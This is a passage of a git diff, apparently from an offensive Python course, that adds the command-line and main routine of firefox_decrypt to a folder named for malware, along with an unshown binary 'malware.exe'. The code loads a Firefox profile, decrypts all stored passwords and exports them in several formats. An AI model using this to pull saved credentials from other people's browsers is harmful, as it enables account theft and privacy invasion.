+ } + + parser.add_argument( + "-f", + "--format", + action=ConvertChoices, + choices=format_choices, + default=HumanOutputFormat, + help="Format for the output.", + ) + parser.add_argument( + "-d", + "--csv-delimiter", + action="store", + default=";", + help="The delimiter for csv output", + ) + parser.add_argument( + "-q", + "--csv-quotechar", + action="store", + default='"', + help="The quote char for csv output", + ) + parser.add_argument( + "--no-csv-header", + action="store_false", + dest="csv_header", + default=True, + help="Do not include a header in CSV output.", + ) + parser.add_argument( + "--pass-username-prefix", + action="store", + default="", + help=( + "Export username as is (default), or with the provided format prefix. " + "For instance 'login: ' for browserpass." + ), + ) + parser.add_argument( + "-p", + "--pass-prefix", + action="store", + default="web", + help="Folder prefix for export to pass from passwordstore.org (default: %(default)s)", + ) + parser.add_argument( + "-m", + "--pass-cmd", + action="store", + default="pass", + help="Command/path to use when exporting to pass (default: %(default)s)", + ) + parser.add_argument( + "--pass-always-with-login", + action="store_true", + help="Always save as / (default: only when multiple accounts per domain)", + ) + parser.add_argument( + "-n", + "--no-interactive", + action="store_false", + dest="interactive", + default=True, + help="Disable interactivity.", + ) + parser.add_argument( + "--non-fatal-decryption", + action="store_true", + default=False, + help="If set, corrupted entries will be skipped instead of aborting the process.", + ) + parser.add_argument( + "-c", + "--choice", + help="The profile to use (starts with 1). If only one profile, defaults to that.", + ) + parser.add_argument( + "-l", "--list", action="store_true", help="List profiles and exit." + ) + parser.add_argument( + "-e", + "--encoding", + action="store", + default=DEFAULT_ENCODING, + help="Override default encoding (%(default)s).", + ) + parser.add_argument( + "-v", + "--verbose", + action="count", + default=0, + help="Verbosity level. Warning on -vv (highest level) user input will be printed on screen", + ) + parser.add_argument( + "--version", + action="version", + version=__version__, + help="Display version of firefox_decrypt and exit", + ) + + args = parser.parse_args() + + # understand `\t` as tab character if specified as delimiter. + if args.csv_delimiter == "\\t": + args.csv_delimiter = "\t" + + return args + + +def setup_logging(args) -> None: + """Setup the logging level and configure the basic logger""" + if args.verbose == 1: + level = logging.INFO + elif args.verbose >= 2: + level = logging.DEBUG + else: + level = logging.WARN + + logging.basicConfig( + format="%(asctime)s - %(levelname)s - %(message)s", + level=level, + ) + + global LOG + LOG = logging.getLogger(__name__) + + +def identify_system_locale() -> str: + encoding: Optional[str] = locale.getpreferredencoding() + + if encoding is None: + LOG.error( + "Could not determine which encoding/locale to use for NSS interaction. " + "This configuration is unsupported.\n" + "If you are in Linux or MacOS, please search online " + "how to configure a UTF-8 compatible locale and try again." + ) + raise Exit(Exit.BAD_LOCALE) + + return encoding + + +def main() -> None: + """Main entry point""" + args = parse_sys_args() + + setup_logging(args) + + global DEFAULT_ENCODING + + if args.encoding != DEFAULT_ENCODING: + LOG.info( + "Overriding default encoding from '%s' to '%s'", + DEFAULT_ENCODING, + args.encoding, + ) + + # Override default encoding if specified by user + DEFAULT_ENCODING = args.encoding + + LOG.info("Running firefox_decrypt version: %s", __version__) + LOG.debug("Parsed commandline arguments: %s", args) + encodings = ( + ("stdin", sys.stdin.encoding), + ("stdout", sys.stdout.encoding), + ("stderr", sys.stderr.encoding), + ("locale", identify_system_locale()), + ) + + LOG.debug( + "Running with encodings: %s: %s, %s: %s, %s: %s, %s: %s", *chain(*encodings) + ) + + for stream, encoding in encodings: + if encoding.lower() != DEFAULT_ENCODING: + LOG.warning( + "Running with unsupported encoding '%s': %s" + " - Things are likely to fail from here onwards", + stream, + encoding, + ) + + # Load Mozilla profile and initialize NSS before asking the user for input + moz = MozillaInteraction(args.non_fatal_decryption) + + basepath = os.path.expanduser(args.profile) + + # Read profiles from profiles.ini in profile folder + profile = get_profile(basepath, args.interactive, args.choice, args.list) + + # Start NSS for selected profile + moz.load_profile(profile) + # Check if profile is password protected and prompt for a password + moz.authenticate(args.interactive) + # Decode all passwords + outputs = moz.decrypt_passwords() + + # Export passwords into one of many formats + formatter = args.format(outputs, args) + formatter.output() + + # Finally shutdown NSS + moz.unload_profile() + + +def run_ffdecrypt(): + try: + main() + except KeyboardInterrupt: + print("Quit.") + sys.exit(Exit.KEYBOARD_INTERRUPT) + except Exit as e: + sys.exit(e.exitcode) + + +if __name__ == "__main__": + run_ffdecrypt() diff --git a/python-ofensivo/15_hacking/10_malware/malware.exe b/python-ofensivo/15_hacking/10_malware/malware.exe new file mode 100644 index 0000000..ba58b45 Binary files /dev/null and b/python-ofensivo/15_hacking/10_malware/malware.exe differ